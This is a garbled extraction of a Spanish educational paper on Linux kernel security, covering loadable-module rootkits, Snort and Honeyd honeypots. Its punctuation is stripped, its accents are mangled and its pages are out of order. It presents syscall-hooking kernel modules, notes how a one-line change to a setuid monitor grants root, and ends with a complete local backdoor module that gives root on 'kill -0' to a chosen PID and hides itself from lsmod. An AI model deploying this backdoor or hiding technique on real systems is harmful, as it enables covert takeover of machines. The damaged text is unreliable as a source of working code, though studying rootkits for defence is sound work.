Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 3: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

NOTA

El presente documento ha sido realizado por el autor de forma iacutentegra no obstante alguna informacioacuten de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicacioacuten con anterioridad Dichos documentos pueden estar regidos o no por la misma licencia del presente documento Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno seraacuten citadas de forma expliacutecita yo deberiacutea aparecer al final del presente documento

Para la realizacioacuten de algunos diagramas se usoacute la herramienta ldquoDIArdquo y para escribir el documento se usoacute ldquoOpenOfficerdquo no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido El trabajo no estaacute exento de errores e imperfecciones cualquier criacutetica constructiva (a modo de ldquofeedbackrdquo) seraacute bien recibida Existe una presentacioacuten (ldquodiapositivasrdquo) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa Estaacute disponible de igual forma en la red de Internet y se usoacute para la exposicioacuten (de una charla) presentando el trabajo en una Universidad

Kernel hacks y seguridad JMP

Introduccioacuten

En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo

La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)

En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos

Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare

Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux

Compilador GCC en una versioacuten reciente

Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual

Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario

Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables

11- Obtener e instalar el coacutedigo fuente del nuacutecleo

El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL

httpwwwkernelorg

Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina

ln ndashs usrsrclinux-$(uname ndashr) linux

Teniendo eso en cuenta

root cd usrsrc

1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas

cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx

editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)

Kernel hacks y seguridad JMP

2- Conceptos baacutesicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos

1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30

El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado

f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

